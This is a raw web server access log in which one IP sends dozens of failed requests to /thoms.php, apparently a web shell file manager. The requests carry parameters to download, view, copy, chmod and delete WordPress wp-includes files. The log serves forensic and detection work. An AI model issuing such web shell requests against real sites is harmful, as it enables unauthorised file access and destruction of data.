45.135.193.11 - - [12/Sep/2026:00:03:12 -0400] "GET /thoms.php?dl=class-pop3.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-pop3.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:12 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=theme-i18n.json HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=theme-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:12 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-taxonomy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:12 -0400] "GET /thoms.php?chmod=embed-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=embed-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:12 -0400] "GET /thoms.php?dl=registration-functions.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=registration-functions.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ftemplate.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ftemplate.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:12 -0400] "GET /thoms.php?del=js&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=js&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:12 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=block-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:12 -0400] "GET /thoms.php?chmod=class-wp-http-requests-hooks.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-hooks.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:12 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:12 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fabilities.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fabilities.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:12 -0400] "GET /thoms.php?chmod=ai-client.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ai-client.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:12 -0400] "GET /thoms.php?dl=class-walker-category-dropdown.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-category-dropdown.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:13 -0400] "GET /thoms.php?del=class-wp-admin-bar.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-admin-bar.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:13 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-site.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:13 -0400] "GET /thoms.php?del=class-wp-locale.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-locale.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:13 -0400] "GET /thoms.php?del=class-wp-theme-json.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:13 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=block-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=block-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:13 -0400] "GET /thoms.php?del=class-wp-locale-switcher.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-locale-switcher.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:13 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fimages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:13 -0400] "GET /thoms.php?chmod=class-wp-term-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:13 -0400] "GET /thoms.php?chmod=post-thumbnail-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post-thumbnail-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:13 -0400] "GET /thoms.php?dl=rss-functions.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=rss-functions.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:13 -0400] "GET /thoms.php?chmod=rss-functions.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=rss-functions.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:13 -0400] "GET /thoms.php?chmod=class-wp-icons-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icons-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:13 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:13 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fscript-loader.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fscript-loader.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:13 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=style-engine.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=style-engine.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:13 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-simplepie.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-simplepie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:14 -0400] "GET /thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:14 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:14 -0400] "GET /thoms.php?chmod=class-wp-feed-cache-transient.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache-transient.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:14 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fembed.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fembed.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:14 -0400] "GET /thoms.php?chmod=SimplePie&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=SimplePie&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:14 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fwidgets&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fwidgets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:14 -0400] "GET /thoms.php?del=script-modules.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=script-modules.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:14 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:14 -0400] "GET /thoms.php?dl=class-wp-block-metadata-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-metadata-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:14 -0400] "GET /thoms.php?chmod=class-wp-block-type-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:14 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-feed-cache.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-feed-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:14 -0400] "GET /thoms.php?chmod=class-wp-widget-factory.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget-factory.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:14 -0400] "GET /thoms.php?dl=class-wp-exception.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-exception.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:14 -0400] "GET /thoms.php?dl=class-wp-theme-json.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:14 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=comment.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:14 -0400] "GET /thoms.php?chmod=speculative-loading.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=speculative-loading.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:15 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:15 -0400] "GET /thoms.php?dl=class-wp-image-editor-gd.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-gd.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:15 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-roles.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-roles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:15 -0400] "GET /thoms.php?chmod=cron.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=cron.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:15 -0400] "GET /thoms.php?chmod=query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:15 -0400] "GET /thoms.php?del=vars.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=vars.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:15 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ftheme-templates.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ftheme-templates.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:15 -0400] "GET /thoms.php?dl=class-wp-navigation-fallback.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-navigation-fallback.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:15 -0400] "GET /thoms.php?dl=class-wpdb.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wpdb.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:15 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fblock-i18n.json&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fblock-i18n.json&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:15 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fpomo&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fpomo&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:15 -0400] "GET /thoms.php?del=class-wp-block-styles-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-styles-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:15 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:15 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:15 -0400] "GET /thoms.php?del=class-wp-widget.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-widget.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:15 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fpluggable.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fpluggable.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:16 -0400] "GET /thoms.php?del=post-formats.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post-formats.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:16 -0400] "GET /thoms.php?chmod=php-ai-client&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=php-ai-client&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:16 -0400] "GET /thoms.php?chmod=PHPMailer&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=PHPMailer&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:16 -0400] "GET /thoms.php?chmod=block-bindings.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-bindings.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
